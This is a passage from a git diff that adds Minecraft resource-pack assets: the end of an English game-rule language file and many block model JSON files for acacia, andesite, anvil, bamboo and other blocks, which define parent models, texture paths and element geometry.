"Broadcast command block output", + "gamerule.disableElytraMovementCheck": "Disable elytra movement check", + "gamerule.disableRaids": "Disable raids", + "gamerule.doDaylightCycle": "Advance time of day", + "gamerule.doEntityDrops": "Drop entity equipment", + "gamerule.doEntityDrops.description": "Controls drops from minecarts (including inventories), item frames, boats, etc.", + "gamerule.doFireTick": "Update fire", + "gamerule.doImmediateRespawn": "Respawn immediately", + "gamerule.doInsomnia": "Spawn phantoms", + "gamerule.doLimitedCrafting": "Require recipe for crafting", + "gamerule.doLimitedCrafting.description": "If enabled, players will be able to craft only unlocked recipes", + "gamerule.doMobLoot": "Drop mob loot", + "gamerule.doMobLoot.description": "Controls resource drops from mobs, including experience orbs", + "gamerule.doMobSpawning": "Spawn mobs", + "gamerule.doMobSpawning.description": "Some entities might have separate rules", + "gamerule.doPatrolSpawning": "Spawn pillager patrols", + "gamerule.doTileDrops": "Drop blocks", + "gamerule.doTileDrops.description": "Controls resource drops from blocks, including experience orbs", + "gamerule.doTraderSpawning": "Spawn wandering traders", + "gamerule.doWeatherCycle": "Update weather", + "gamerule.drowningDamage": "Deal drowning damage", + "gamerule.fallDamage": "Deal fall damage", + "gamerule.fireDamage": "Deal fire damage", + "gamerule.forgiveDeadPlayers": "Forgive dead players", + "gamerule.forgiveDeadPlayers.description": "Angered neutral mobs stop being angry when the targeted player dies nearby.", + "gamerule.keepInventory": "Keep inventory after death", + "gamerule.logAdminCommands": "Broadcast admin commands", + "gamerule.maxCommandChainLength": "Command chain size limit", + "gamerule.maxCommandChainLength.description": "Applies to command block chains and functions", + "gamerule.maxEntityCramming": "Entity cramming threshold", + "gamerule.mobGriefing": "Allow destructive mob actions", + "gamerule.naturalRegeneration": "Regenerate health", + "gamerule.randomTickSpeed": "Random tick speed rate", + "gamerule.reducedDebugInfo": "Reduce debug info", + "gamerule.reducedDebugInfo.description": "Limits contents of debug screen", + "gamerule.sendCommandFeedback": "Send command feedback", + "gamerule.showDeathMessages": "Show death messages", + "gamerule.spawnRadius": "Respawn location radius", + "gamerule.spectatorsGenerateChunks": "Allow spectators to generate terrain", + "gamerule.universalAnger": "Universal anger", + "gamerule.universalAnger.description": "Angered neutral mobs attack any nearby player, not just the player that angered them. Works best if forgiveDeadPlayers is disabled.", + "gamerule.category.chat": "Chat", + "gamerule.category.spawning": "Spawning", + "gamerule.category.updates": "World Updates", + "gamerule.category.drops": "Drops", + "gamerule.category.mobs": "Mobs", + "gamerule.category.player": "Player", + "gamerule.category.misc": "Miscellaneous", + "pack.source.builtin": "built-in", + "pack.source.world": "world", + "pack.source.local": "local", + "pack.source.server": "server" +} diff --git a/src/assets/minecraft/models/block/acacia_button.json b/src/assets/minecraft/models/block/acacia_button.json new file mode 100644 index 00000000..e3ee4499 --- /dev/null +++ b/src/assets/minecraft/models/block/acacia_button.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/button", + "textures": { + "texture": "minecraft:block/acacia_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/acacia_button_inventory.json b/src/assets/minecraft/models/block/acacia_button_inventory.json new file mode 100644 index 00000000..0b50c625 --- /dev/null +++ b/src/assets/minecraft/models/block/acacia_button_inventory.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/button_inventory", + "textures": { + "texture": "minecraft:block/acacia_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/acacia_button_pressed.json b/src/assets/minecraft/models/block/acacia_button_pressed.json new file mode 100644 index 00000000..486e6edd --- /dev/null +++ b/src/assets/minecraft/models/block/acacia_button_pressed.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/button_pressed", + "textures": { + "texture": "minecraft:block/acacia_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/acacia_door_bottom.json b/src/assets/minecraft/models/block/acacia_door_bottom.json new file mode 100644 index 00000000..f1a68ba4 --- /dev/null +++ b/src/assets/minecraft/models/block/acacia_door_bottom.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/door_bottom", + "textures": { + "top": "minecraft:block/acacia_door_top", + "bottom": "minecraft:block/acacia_door_bottom" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/acacia_door_bottom_hinge.json b/src/assets/minecraft/models/block/acacia_door_bottom_hinge.json new file mode 100644 index 00000000..367abb54 --- /dev/null +++ b/src/assets/minecraft/models/block/acacia_door_bottom_hinge.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/door_bottom_rh", + "textures": { + "top": "minecraft:block/acacia_door_top", + "bottom": "minecraft:block/acacia_door_bottom" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/acacia_door_top.json b/src/assets/minecraft/models/block/acacia_door_top.json new file mode 100644 index 00000000..8cae226b --- /dev/null +++ b/src/assets/minecraft/models/block/acacia_door_top.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/door_top", + "textures": { + "top": "minecraft:block/acacia_door_top", + "bottom": "minecraft:block/acacia_door_bottom" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/acacia_door_top_hinge.json b/src/assets/minecraft/models/block/acacia_door_top_hinge.json new file mode 100644 index 00000000..c3ae1eeb --- /dev/null +++ b/src/assets/minecraft/models/block/acacia_door_top_hinge.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/door_top_rh", + "textures": { + "top": "minecraft:block/acacia_door_top", + "bottom": "minecraft:block/acacia_door_bottom" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/acacia_fence_gate.json b/src/assets/minecraft/models/block/acacia_fence_gate.json new file mode 100644 index 00000000..f121a183 --- /dev/null +++ b/src/assets/minecraft/models/block/acacia_fence_gate.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_fence_gate", + "textures": { + "texture": "minecraft:block/acacia_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/acacia_fence_gate_open.json b/src/assets/minecraft/models/block/acacia_fence_gate_open.json new file mode 100644 index 00000000..28fe835e --- /dev/null +++ b/src/assets/minecraft/models/block/acacia_fence_gate_open.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_fence_gate_open", + "textures": { + "texture": "minecraft:block/acacia_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/acacia_fence_gate_wall.json b/src/assets/minecraft/models/block/acacia_fence_gate_wall.json new file mode 100644 index 00000000..0ac31d07 --- /dev/null +++ b/src/assets/minecraft/models/block/acacia_fence_gate_wall.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_fence_gate_wall", + "textures": { + "texture": "minecraft:block/acacia_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/acacia_fence_gate_wall_open.json b/src/assets/minecraft/models/block/acacia_fence_gate_wall_open.json new file mode 100644 index 00000000..2ea84d22 --- /dev/null +++ b/src/assets/minecraft/models/block/acacia_fence_gate_wall_open.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_fence_gate_wall_open", + "textures": { + "texture": "minecraft:block/acacia_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/acacia_fence_inventory.json b/src/assets/minecraft/models/block/acacia_fence_inventory.json new file mode 100644 index 00000000..1300a233 --- /dev/null +++ b/src/assets/minecraft/models/block/acacia_fence_inventory.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/fence_inventory", + "textures": { + "texture": "minecraft:block/acacia_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/acacia_fence_post.json b/src/assets/minecraft/models/block/acacia_fence_post.json new file mode 100644 index 00000000..96e4d444 --- /dev/null +++ b/src/assets/minecraft/models/block/acacia_fence_post.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/fence_post", + "textures": { + "texture": "minecraft:block/acacia_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/acacia_fence_side.json b/src/assets/minecraft/models/block/acacia_fence_side.json new file mode 100644 index 00000000..9d7c83ea --- /dev/null +++ b/src/assets/minecraft/models/block/acacia_fence_side.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/fence_side", + "textures": { + "texture": "minecraft:block/acacia_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/acacia_leaves.json b/src/assets/minecraft/models/block/acacia_leaves.json new file mode 100644 index 00000000..9d1d8e16 --- /dev/null +++ b/src/assets/minecraft/models/block/acacia_leaves.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/leaves", + "textures": { + "all": "minecraft:block/acacia_leaves" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/acacia_log.json b/src/assets/minecraft/models/block/acacia_log.json new file mode 100644 index 00000000..6eab23b0 --- /dev/null +++ b/src/assets/minecraft/models/block/acacia_log.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column", + "textures": { + "end": "minecraft:block/acacia_log_top", + "side": "minecraft:block/acacia_log" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/acacia_log_horizontal.json b/src/assets/minecraft/models/block/acacia_log_horizontal.json new file mode 100644 index 00000000..c0ff6ac4 --- /dev/null +++ b/src/assets/minecraft/models/block/acacia_log_horizontal.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column_horizontal", + "textures": { + "end": "minecraft:block/acacia_log_top", + "side": "minecraft:block/acacia_log" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/acacia_planks.json b/src/assets/minecraft/models/block/acacia_planks.json new file mode 100644 index 00000000..5efe51c0 --- /dev/null +++ b/src/assets/minecraft/models/block/acacia_planks.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/acacia_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/acacia_pressure_plate.json b/src/assets/minecraft/models/block/acacia_pressure_plate.json new file mode 100644 index 00000000..8c40c47b --- /dev/null +++ b/src/assets/minecraft/models/block/acacia_pressure_plate.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/pressure_plate_up", + "textures": { + "texture": "minecraft:block/acacia_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/acacia_pressure_plate_down.json b/src/assets/minecraft/models/block/acacia_pressure_plate_down.json new file mode 100644 index 00000000..b437bc26 --- /dev/null +++ b/src/assets/minecraft/models/block/acacia_pressure_plate_down.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/pressure_plate_down", + "textures": { + "texture": "minecraft:block/acacia_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/acacia_sapling.json b/src/assets/minecraft/models/block/acacia_sapling.json new file mode 100644 index 00000000..ea6fd73b --- /dev/null +++ b/src/assets/minecraft/models/block/acacia_sapling.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cross", + "textures": { + "cross": "minecraft:block/acacia_sapling" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/acacia_sign.json b/src/assets/minecraft/models/block/acacia_sign.json new file mode 100644 index 00000000..700d9b8a --- /dev/null +++ b/src/assets/minecraft/models/block/acacia_sign.json @@ -0,0 +1,5 @@ +{ + "textures": { + "particle": "minecraft:block/acacia_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/acacia_slab.json b/src/assets/minecraft/models/block/acacia_slab.json new file mode 100644 index 00000000..b84fd779 --- /dev/null +++ b/src/assets/minecraft/models/block/acacia_slab.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab", + "textures": { + "bottom": "minecraft:block/acacia_planks", + "top": "minecraft:block/acacia_planks", + "side": "minecraft:block/acacia_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/acacia_slab_top.json b/src/assets/minecraft/models/block/acacia_slab_top.json new file mode 100644 index 00000000..73b6d8e9 --- /dev/null +++ b/src/assets/minecraft/models/block/acacia_slab_top.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab_top", + "textures": { + "bottom": "minecraft:block/acacia_planks", + "top": "minecraft:block/acacia_planks", + "side": "minecraft:block/acacia_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/acacia_stairs.json b/src/assets/minecraft/models/block/acacia_stairs.json new file mode 100644 index 00000000..61dfc8f7 --- /dev/null +++ b/src/assets/minecraft/models/block/acacia_stairs.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/stairs", + "textures": { + "bottom": "minecraft:block/acacia_planks", + "top": "minecraft:block/acacia_planks", + "side": "minecraft:block/acacia_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/acacia_stairs_inner.json b/src/assets/minecraft/models/block/acacia_stairs_inner.json new file mode 100644 index 00000000..6b071f6a --- /dev/null +++ b/src/assets/minecraft/models/block/acacia_stairs_inner.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/inner_stairs", + "textures": { + "bottom": "minecraft:block/acacia_planks", + "top": "minecraft:block/acacia_planks", + "side": "minecraft:block/acacia_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/acacia_stairs_outer.json b/src/assets/minecraft/models/block/acacia_stairs_outer.json new file mode 100644 index 00000000..c362f62e --- /dev/null +++ b/src/assets/minecraft/models/block/acacia_stairs_outer.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/outer_stairs", + "textures": { + "bottom": "minecraft:block/acacia_planks", + "top": "minecraft:block/acacia_planks", + "side": "minecraft:block/acacia_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/acacia_trapdoor_bottom.json b/src/assets/minecraft/models/block/acacia_trapdoor_bottom.json new file mode 100644 index 00000000..38bd46e2 --- /dev/null +++ b/src/assets/minecraft/models/block/acacia_trapdoor_bottom.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_orientable_trapdoor_bottom", + "textures": { + "texture": "minecraft:block/acacia_trapdoor" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/acacia_trapdoor_open.json b/src/assets/minecraft/models/block/acacia_trapdoor_open.json new file mode 100644 index 00000000..de4be4d5 --- /dev/null +++ b/src/assets/minecraft/models/block/acacia_trapdoor_open.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_orientable_trapdoor_open", + "textures": { + "texture": "minecraft:block/acacia_trapdoor" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/acacia_trapdoor_top.json b/src/assets/minecraft/models/block/acacia_trapdoor_top.json new file mode 100644 index 00000000..4f512409 --- /dev/null +++ b/src/assets/minecraft/models/block/acacia_trapdoor_top.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_orientable_trapdoor_top", + "textures": { + "texture": "minecraft:block/acacia_trapdoor" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/acacia_wood.json b/src/assets/minecraft/models/block/acacia_wood.json new file mode 100644 index 00000000..2ef9da9c --- /dev/null +++ b/src/assets/minecraft/models/block/acacia_wood.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column", + "textures": { + "end": "minecraft:block/acacia_log", + "side": "minecraft:block/acacia_log" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/activator_rail.json b/src/assets/minecraft/models/block/activator_rail.json new file mode 100644 index 00000000..fbb2f56c --- /dev/null +++ b/src/assets/minecraft/models/block/activator_rail.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/rail_flat", + "textures": { + "rail": "minecraft:block/activator_rail" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/activator_rail_on.json b/src/assets/minecraft/models/block/activator_rail_on.json new file mode 100644 index 00000000..770a3bf5 --- /dev/null +++ b/src/assets/minecraft/models/block/activator_rail_on.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/rail_flat", + "textures": { + "rail": "minecraft:block/activator_rail_on" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/activator_rail_on_raised_ne.json b/src/assets/minecraft/models/block/activator_rail_on_raised_ne.json new file mode 100644 index 00000000..9d82f7b6 --- /dev/null +++ b/src/assets/minecraft/models/block/activator_rail_on_raised_ne.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_rail_raised_ne", + "textures": { + "rail": "minecraft:block/activator_rail_on" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/activator_rail_on_raised_sw.json b/src/assets/minecraft/models/block/activator_rail_on_raised_sw.json new file mode 100644 index 00000000..43c773a1 --- /dev/null +++ b/src/assets/minecraft/models/block/activator_rail_on_raised_sw.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_rail_raised_sw", + "textures": { + "rail": "minecraft:block/activator_rail_on" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/activator_rail_raised_ne.json b/src/assets/minecraft/models/block/activator_rail_raised_ne.json new file mode 100644 index 00000000..d953b088 --- /dev/null +++ b/src/assets/minecraft/models/block/activator_rail_raised_ne.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_rail_raised_ne", + "textures": { + "rail": "minecraft:block/activator_rail" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/activator_rail_raised_sw.json b/src/assets/minecraft/models/block/activator_rail_raised_sw.json new file mode 100644 index 00000000..9b8c8587 --- /dev/null +++ b/src/assets/minecraft/models/block/activator_rail_raised_sw.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_rail_raised_sw", + "textures": { + "rail": "minecraft:block/activator_rail" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/air.json b/src/assets/minecraft/models/block/air.json new file mode 100644 index 00000000..2c63c085 --- /dev/null +++ b/src/assets/minecraft/models/block/air.json @@ -0,0 +1,2 @@ +{ +} diff --git a/src/assets/minecraft/models/block/allium.json b/src/assets/minecraft/models/block/allium.json new file mode 100644 index 00000000..3c13827c --- /dev/null +++ b/src/assets/minecraft/models/block/allium.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cross", + "textures": { + "cross": "minecraft:block/allium" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/ancient_debris.json b/src/assets/minecraft/models/block/ancient_debris.json new file mode 100644 index 00000000..d16af45f --- /dev/null +++ b/src/assets/minecraft/models/block/ancient_debris.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column", + "textures": { + "end": "minecraft:block/ancient_debris_top", + "side": "minecraft:block/ancient_debris_side" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/andesite.json b/src/assets/minecraft/models/block/andesite.json new file mode 100644 index 00000000..3f9f0234 --- /dev/null +++ b/src/assets/minecraft/models/block/andesite.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/andesite" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/andesite_slab.json b/src/assets/minecraft/models/block/andesite_slab.json new file mode 100644 index 00000000..3881915c --- /dev/null +++ b/src/assets/minecraft/models/block/andesite_slab.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab", + "textures": { + "bottom": "minecraft:block/andesite", + "top": "minecraft:block/andesite", + "side": "minecraft:block/andesite" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/andesite_slab_top.json b/src/assets/minecraft/models/block/andesite_slab_top.json new file mode 100644 index 00000000..9ed04cca --- /dev/null +++ b/src/assets/minecraft/models/block/andesite_slab_top.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab_top", + "textures": { + "bottom": "minecraft:block/andesite", + "top": "minecraft:block/andesite", + "side": "minecraft:block/andesite" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/andesite_stairs.json b/src/assets/minecraft/models/block/andesite_stairs.json new file mode 100644 index 00000000..2a4bdeb7 --- /dev/null +++ b/src/assets/minecraft/models/block/andesite_stairs.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/stairs", + "textures": { + "bottom": "minecraft:block/andesite", + "top": "minecraft:block/andesite", + "side": "minecraft:block/andesite" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/andesite_stairs_inner.json b/src/assets/minecraft/models/block/andesite_stairs_inner.json new file mode 100644 index 00000000..2b6d079d --- /dev/null +++ b/src/assets/minecraft/models/block/andesite_stairs_inner.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/inner_stairs", + "textures": { + "bottom": "minecraft:block/andesite", + "top": "minecraft:block/andesite", + "side": "minecraft:block/andesite" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/andesite_stairs_outer.json b/src/assets/minecraft/models/block/andesite_stairs_outer.json new file mode 100644 index 00000000..d032f4af --- /dev/null +++ b/src/assets/minecraft/models/block/andesite_stairs_outer.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/outer_stairs", + "textures": { + "bottom": "minecraft:block/andesite", + "top": "minecraft:block/andesite", + "side": "minecraft:block/andesite" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/andesite_wall_inventory.json b/src/assets/minecraft/models/block/andesite_wall_inventory.json new file mode 100644 index 00000000..1c61acfd --- /dev/null +++ b/src/assets/minecraft/models/block/andesite_wall_inventory.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/wall_inventory", + "textures": { + "wall": "minecraft:block/andesite" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/andesite_wall_post.json b/src/assets/minecraft/models/block/andesite_wall_post.json new file mode 100644 index 00000000..6c117e6f --- /dev/null +++ b/src/assets/minecraft/models/block/andesite_wall_post.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_wall_post", + "textures": { + "wall": "minecraft:block/andesite" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/andesite_wall_side.json b/src/assets/minecraft/models/block/andesite_wall_side.json new file mode 100644 index 00000000..8dfcd81b --- /dev/null +++ b/src/assets/minecraft/models/block/andesite_wall_side.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_wall_side", + "textures": { + "wall": "minecraft:block/andesite" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/andesite_wall_side_tall.json b/src/assets/minecraft/models/block/andesite_wall_side_tall.json new file mode 100644 index 00000000..f4075f2a --- /dev/null +++ b/src/assets/minecraft/models/block/andesite_wall_side_tall.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_wall_side_tall", + "textures": { + "wall": "minecraft:block/andesite" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/anvil.json b/src/assets/minecraft/models/block/anvil.json new file mode 100644 index 00000000..dc9d2555 --- /dev/null +++ b/src/assets/minecraft/models/block/anvil.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_anvil", + "textures": { + "top": "minecraft:block/anvil_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/attached_melon_stem.json b/src/assets/minecraft/models/block/attached_melon_stem.json new file mode 100644 index 00000000..1ebaf505 --- /dev/null +++ b/src/assets/minecraft/models/block/attached_melon_stem.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/stem_fruit", + "textures": { + "stem": "minecraft:block/melon_stem", + "upperstem": "minecraft:block/attached_melon_stem" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/attached_pumpkin_stem.json b/src/assets/minecraft/models/block/attached_pumpkin_stem.json new file mode 100644 index 00000000..0a7c5692 --- /dev/null +++ b/src/assets/minecraft/models/block/attached_pumpkin_stem.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/stem_fruit", + "textures": { + "stem": "minecraft:block/pumpkin_stem", + "upperstem": "minecraft:block/attached_pumpkin_stem" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/azure_bluet.json b/src/assets/minecraft/models/block/azure_bluet.json new file mode 100644 index 00000000..35cac69e --- /dev/null +++ b/src/assets/minecraft/models/block/azure_bluet.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cross", + "textures": { + "cross": "minecraft:block/azure_bluet" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/bamboo1_age0.json b/src/assets/minecraft/models/block/bamboo1_age0.json new file mode 100644 index 00000000..0f5244e5 --- /dev/null +++ b/src/assets/minecraft/models/block/bamboo1_age0.json @@ -0,0 +1,19 @@ +{ + "textures": { + "all": "block/bamboo_stalk", + "particle": "block/bamboo_stalk" + }, + "elements": [ + { "from": [ 7, 0, 7 ], + "to": [ 9, 16, 9 ], + "faces": { + "down": { "uv": [ 13, 4, 15, 6 ], "texture": "#all", "cullface": "down" }, + "up": { "uv": [ 13, 0, 15, 2], "texture": "#all", "cullface": "up" }, + "north": { "uv": [ 0, 0, 2, 16 ], "texture": "#all" }, + "south": { "uv": [ 0, 0, 2, 16 ], "texture": "#all" }, + "west": { "uv": [ 0, 0, 2, 16 ], "texture": "#all" }, + "east": { "uv": [ 0, 0, 2, 16 ], "texture": "#all" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/bamboo1_age1.json b/src/assets/minecraft/models/block/bamboo1_age1.json new file mode 100644 index 00000000..d121263f --- /dev/null +++ b/src/assets/minecraft/models/block/bamboo1_age1.json @@ -0,0 +1,19 @@ +{ + "textures": { + "all": "block/bamboo_stalk", + "particle": "block/bamboo_stalk" + }, + "elements": [ + { "from": [ 6.5, 0, 6.5 ], + "to": [ 9.5, 16, 9.5 ], + "faces": { + "down": { "uv": [ 13, 4, 16, 7 ], "texture": "#all", "cullface": "down" }, + "up": { "uv": [ 13, 0, 16, 3 ], "texture": "#all", "cullface": "up" }, + "north": { "uv": [ 0, 0, 3, 16 ], "texture": "#all" }, + "south": { "uv": [ 0, 0, 3, 16 ], "texture": "#all" }, + "west": { "uv": [ 0, 0, 3, 16 ], "texture": "#all" }, + "east": { "uv": [ 0, 0, 3, 16 ], "texture": "#all" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/bamboo2_age0.json b/src/assets/minecraft/models/block/bamboo2_age0.json new file mode 100644 index 00000000..bc6e56c6 --- /dev/null +++ b/src/assets/minecraft/models/block/bamboo2_age0.json @@ -0,0 +1,19 @@ +{ + "textures": { + "all": "block/bamboo_stalk", + "particle": "block/bamboo_stalk" + }, + "elements": [ + { "from": [ 7, 0, 7 ], + "to": [ 9, 16, 9 ], + "faces": { + "down": { "uv": [ 13, 4, 15, 6 ], "texture": "#all", "cullface": "down" }, + "up": { "uv": [ 13, 0, 15, 2], "texture": "#all", "cullface": "up" }, + "north": { "uv": [ 3, 0, 5, 16 ], "texture": "#all" }, + "south": { "uv": [ 3, 0, 5, 16 ], "texture": "#all" }, + "west": { "uv": [ 3, 0, 5, 16 ], "texture": "#all" }, + "east": { "uv": [ 3, 0, 5, 16 ], "texture": "#all" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/bamboo2_age1.json b/src/assets/minecraft/models/block/bamboo2_age1.json new file mode 100644 index 00000000..55b2f4d1 --- /dev/null +++ b/src/assets/minecraft/models/block/bamboo2_age1.json @@ -0,0 +1,19 @@ +{ + "textures": { + "all": "block/bamboo_stalk", + "particle": "block/bamboo_stalk" + }, + "elements": [ + { "from": [ 6.5, 0, 6.5 ], + "to": [ 9.5, 16, 9.5 ], + "faces": { + "down": { "uv": [ 13, 4, 16, 7 ], "texture": "#all", "cullface": "down" }, + "up": { "uv": [ 13, 0, 16, 3 ], "texture": "#all", "cullface": "up" }, + "north": { "uv": [ 3, 0, 6, 16 ], "texture": "#all" }, + "south": { "uv": [ 3, 0, 6, 16 ], "texture": "#all" }, + "west": { "uv": [ 3, 0, 6, 16 ], "texture": "#all" }, + "east": { "uv": [ 3, 0, 6, 16 ], "texture": "#all" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/bamboo3_age0.json b/src/assets/minecraft/models/block/bamboo3_age0.json new file mode 100644 index 00000000..d72b3e64 --- /dev/null +++ b/src/assets/minecraft/models/block/bamboo3_age0.json @@ -0,0 +1,19 @@ +{ + "textures": { + "all": "block/bamboo_stalk", + "particle": "block/bamboo_stalk" + }, + "elements": [ + { "from": [ 7, 0, 7 ], + "to": [ 9, 16, 9 ], + "faces": { + "down": { "uv": [ 13, 4, 15, 6 ], "texture": "#all", "cullface": "down" }, + "up": { "uv": [ 13, 0, 15, 2], "texture": "#all", "cullface": "up" }, + "north": { "uv": [ 6, 0, 8, 16 ], "texture": "#all" }, + "south": { "uv": [ 6, 0, 8, 16 ], "texture": "#all" }, + "west": { "uv": [ 6, 0, 8, 16 ], "texture": "#all" }, + "east": { "uv": [ 6, 0, 8, 16 ], "texture": "#all" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/bamboo3_age1.json b/src/assets/minecraft/models/block/bamboo3_age1.json new file mode 100644 index 00000000..499cd02e --- /dev/null +++ b/src/assets/minecraft/models/block/bamboo3_age1.json @@ -0,0 +1,19 @@ +{ + "textures": { + "all": "block/bamboo_stalk", + "particle": "block/bamboo_stalk" + }, + "elements": [ + { "from": [ 6.5, 0, 6.5 ], + "to": [ 9.5, 16, 9.5 ], + "faces": { + "down": { "uv": [ 13, 4, 16, 7 ], "texture": "#all", "cullface": "down" }, + "up": { "uv": [ 13, 0, 16, 3 ], "texture": "#all", "cullface": "up" }, + "north": { "uv": [ 6, 0, 9, 16 ], "texture": "#all" }, + "south": { "uv": [ 6, 0, 9, 16 ], "texture": "#all" }, + "west": { "uv": [ 6, 0, 9, 16 ], "texture": "#all" }, + "east": { "uv": [ 6, 0, 9, 16 ], "texture": "#all" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/bamboo4_age0.json b/src/assets/minecraft/models/block/bamboo4_age0.json new file mode 100644 index 00000000..cc9c1dcc --- /dev/null +++ 